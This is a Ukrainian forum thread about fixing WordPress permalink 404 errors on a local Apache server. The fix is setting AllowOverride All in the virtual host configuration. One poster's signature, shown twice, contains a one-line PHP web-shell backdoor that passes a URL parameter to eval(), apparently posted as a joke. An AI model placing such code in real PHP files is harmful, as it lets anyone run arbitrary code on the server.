1

Тема: Налаштування постійних посилань в WordPress, mod_rewrite

Поставив WordPress на localhost, хочу налаштувати нормальні url-ки. В адмінці написано:

Якщо б Ваш файл web.config(.htaccess) був відкритий для запису, то Ви б змогли це робити автоматично. На жаль зараз це не так, тому ось правила для mod_rewrite, які Ви маєте самі помістити в файл .htaccess. Натисніть мишею в текстовому полі та скористуйтесь комбінацією клавіш CTRL + a, щоб позначити все.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Ну, я й помістив все це у файл /var/www/.htaccess , але на сторінках постів отримую від вебсервера відповідь 404. Не туди помістив?

Re: Налаштування постійних посилань в WordPress, mod_rewrite

bunyk написав:

Поставив WordPress на localhost, хочу налаштувати нормальні url-ки. В адмінці написано:

Якщо б Ваш файл web.config(.htaccess) був відкритий для запису, то Ви б змогли це робити автоматично. На жаль зараз це не так, тому ось правила для mod_rewrite, які Ви маєте самі помістити в файл .htaccess. Натисніть мишею в текстовому полі та скористуйтесь комбінацією клавіш CTRL + a, щоб позначити все.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Ну, я й помістив все це у файл /var/www/.htaccess , але на сторінках постів отримую від вебсервера відповідь 404. Не туди помістив?

В мене аналогічне було, ну тільки не з водпресом.
Виявилося, що треба просто установити сам mod_rewrite.

3

Re: Налаштування постійних посилань в WordPress, mod_rewrite

$ a2enmod rewrite
Module rewrite already enabled

А воно може бути заенаблено і не встановлено?

4

Re: Налаштування постійних посилань в WordPress, mod_rewrite

в якій деректорії сайт?

pew pew :D
Блоґ

5

Re: Налаштування постійних посилань в WordPress, mod_rewrite

/var/www

6 Востаннє редагувалося miroslav.chandler (12.02.2013 23:00:26)

Re: Налаштування постійних посилань в WordPress, mod_rewrite

перевірте чи діє ацес на сайт, напишіть туди

deny all

f5

є якісь зміни в роботі сайту?

pew pew :D
Блоґ

7

Re: Налаштування постійних посилань в WordPress, mod_rewrite

Ніби нема.

8

Re: Налаштування постійних посилань в WordPress, mod_rewrite

покажіть конфіг віртуал хоста

pew pew :D
Блоґ

9

Re: Налаштування постійних посилань в WordPress, mod_rewrite

Якщо це те що знаходиться в /etc/apache2/httpd.conf, то:

ServerName localhost

10 Востаннє редагувалося Invader (13.02.2013 17:28:26)

Re: Налаштування постійних посилань в WordPress, mod_rewrite

Це не те. Здається, у вашому випадку (як і в моєму) налаштування знаходяться в /etc/apache2/sites-enabled/000-default.
Потрібно змінити директиву(?) з AllowOverride None на AllowOverride All для того каталогу де розміщується сайт.
Ось мій файл налаштувань:

<VirtualHost *:80>  
ServerAdmin webmaster@localhost  
# DocumentRoot /var/www  
DocumentRoot /home/dima/public_html  
<Directory />   
   Options FollowSymLinks   
   AllowOverride None  
</Directory> 
# <Directory /var/www/> 
#  Options Indexes FollowSymLinks MultiViews 
#  AllowOverride None 
#  Order allow,deny 
#  allow from all 
# </Directory> 
 <Directory /home/dima/public_html>  #тут знаходиться сайт
   Options Indexes FollowSymLinks MultiViews   
   AllowOverride All  #типово було AllowOverride None, довелося міняти на AllowOverride All
   Order allow,deny   
  allow from all  
</Directory> 

.
Який дистрибутив? Потрібно шукати запис подібний до того зверху.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: bunyk1

11 Востаннє редагувалося Invader (13.02.2013 17:31:44)

Re: Налаштування постійних посилань в WordPress, mod_rewrite

Крім того, перевірте чи завантажено модуль mod_rewrite. Використовуйте функцію phpinfo().
Увімкнення mod_rewrite на сервері зUbuntu

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

12

Re: Налаштування постійних посилань в WordPress, mod_rewrite

AllowOverride All  # допомогло, дякую